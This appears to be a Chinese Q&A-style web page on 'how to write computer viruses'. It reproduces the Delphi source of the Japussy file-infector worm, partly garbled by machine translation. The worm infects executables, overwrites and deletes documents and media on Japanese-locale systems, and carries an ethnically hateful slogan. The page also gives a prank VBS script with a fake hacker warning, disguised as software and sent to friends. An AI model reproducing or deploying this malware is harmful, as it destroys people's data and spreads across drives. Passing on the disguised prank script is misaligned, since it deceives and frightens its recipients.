电脑病毒代码，如何编写电脑病毒（cmd最恐怖指令）

十大排行榜
2022-02-28 21:03:47

摘要： 求电脑病毒代码，不行的得用虚拟机才可以测试病毒代码无需下载，把下面这段代码复制到记事本里，保存为...

求电脑病毒代码，

不行的得用虚拟机才可以测试病毒代码无需下载，把下面这段代码复制到记事本里，保存为文本文件X5O！p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file！$H H*熊猫烧香图形贾普西使用Windows、SysUtils、Classes、Graphics、ShellAPI{、Registry} .const HeaderSize=82432//病毒体的大小IconOffset=$ 12EB8//PE文件主图标的偏移量//在我的SP1德尔福5上面编译得到的大小，其它版本的德尔斐可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{ HeaderSize=38912//Upx压缩过病毒体的大小IconOffset=$ 92BC//Upx压缩过体育课文件主图标的偏移量//Upx 1.24W用法： upx-9-8086 japussy。exe } IconSize=$ 2e 8；//PE文件主图标的大小- 744字节icon tail=icon offset IconSize//PE文件主图标的尾部ID=$ 4444444//感染标记//垃圾码，以备写入口号="如果一个种族需要被消灭，那一定是大和"如果有一个国家需要被摧毁，那一定是日本！“*** W32 .贾普西。虫子。一个* * *’；{$R * .RES }函数RegisterServiceProcess(dwProcessID，dwtype :整数):整数；调用约定外部“内核32。dll”；//函数声明var TmpFile:字符串；Si:启动信息Pi:流程_信息；IsJap: Boolean=False//日文操作系统标记{ 判断是否为Win9x }函数是is win9x : boolean var ver : to version info begin Result :=false ver。dwosversioninfosize :=SizeOf(TOSVersionInfo)；如果不是GetVersionEx(版本)，则退出；如果(版本。dwplatformid=VER _平台_WIN32_WINDOWS)那么//Win9x结果：=真；结束；{ 在流之间复制} procere复制流(src :t流；sStartPos:整数；Dst: TStreamdStartPos:整数；计数：整数);var sCurPos，dCurPos:整数；begin sCurPos :=Src .位置；dCurPos :=Dst .位置；Src .Seek(sStartPos，0)；夏令时Seek(dStartPos，0)；夏令时CopyFrom(Src，Count)；Src .Seek(sCurPos，0)；夏令时Seek(dCurPos，0)；结束；{ 将宿主文件从已感染的体育课文件中分离出来，以备使用}procere ExtractFile(文件名：字符串);var sStream，dStream:文件流开始尝试sStream :=文件流Create(ParamStr(0)，fmOpenRead或fmShareDenyNone)；请尝试dStream :=文件流.创建（文件名，fmCreate)；试试Stream .Seek(HeaderSize，0)；//跳过头部的病毒部分数据流.CopyFrom(sStream，sStream).size-页眉尺寸)；最后是数据流.免费；结束；最后是溪流.免费；结束；除了目标结束；{ 填充STARTUPINFO结构} procere FillStartupInfo(var si :启动信息；州：

Word);begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil;end;{ 发带毒邮件 }procere SendMail;begin //哪位仁兄愿意完成之？end;{ 感染PE文件 }procere InfectOneFile(FileName: string);var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char;begin try //出错则文件正在被使用，退出 if CompareText(FileName, "JAPUSSY.EXE") = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节)，存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free;end; except; end;end;{ 将目标文件写入垃圾码后删除 }procere SmashFile(FileName: string);var FileHandle: Integer; i, Size, Mass, Max, Len: Integer;begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码，将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end;end;{ 获得可写的驱动器列表 }function GetDrives: string;var DiskType: Word; D: Char; Str: string; i: Integer;begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ":"; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end;end;{ 遍历目录，感染和摧毁文件 }procere LoopFiles(Path, Mask: string);var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr ".") and (SearchRec.Name <> "..") then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> ".") and (SearchRec.Name <> "..") then Result := 1 //不是根目录 else Result := 2; //是根目录 end;begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = ".EXE") or (Ext = ".SCR") then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = ".HTM") or (Ext = ".HTML") or (Ext = ".ASP") then begin //感染HTML和ASP文件，将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之？ end else if Ext = ".WAB" then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = ".ADC" then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = "IND" then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = ".DOC") or (Ext = ".XLS") or (Ext = ".MDB") or (Ext = ".MP3") or (Ext = ".RM") or (Ext = ".RA") or (Ext = ".WMA") or (Ext = ".ZIP") or (Ext = ".RAR") or (Ext = ".MPEG") or (Ext = ".ASF") or (Ext = ".JPG") or (Ext = ".JPEG") or (Ext = ".GIF") or (Ext = ".SWF") or (Ext = ".PDF") or (Ext = ".CHM") or (Ext = ".AVI") then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + "*.*", faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings + "", Mask); FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procere InfectFiles;var DriverList: string; i, Len: Integer;begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧！ DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + ":", "*.*"); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end;end;{ 主程序开始 }begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之？ end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), "Japussy.exe") = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了，开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + ".exe"; //真正的宿主文件，多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, ".", Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end;end

求电脑病毒代码，

谁有简单的电脑病毒代码？？

新建一个文本文档，输入以下内容：msgbox"内容1"+chr(13)+"内容2"+chr(13)+"内容3",1,"标题" 格式和符号必须正确，内容1、内容2、内容3、标题可以随意更改，比如：msgbox"您的电脑被黑客入侵"+chr(13)+"请立刻发三遍我是猪到朋友圈"+chr(13)+"否则您的电脑显卡将起火",1,"黑客入侵警告" 之后保存，重命名，把后缀txt改为vbs，新建一个文件夹，点右键选择属性→自定义→更改图标，把它伪装成一个软件(我的是winXP系统，操作可能不一样)，把刚才的文件放进去最后发送给你的朋友，让他打开，他在电脑上就会出现一个这样的提示： × 黑客入侵警告您的电脑被黑客入侵请立刻发三遍我是猪的朋友圈否则您的电脑显卡将起火确定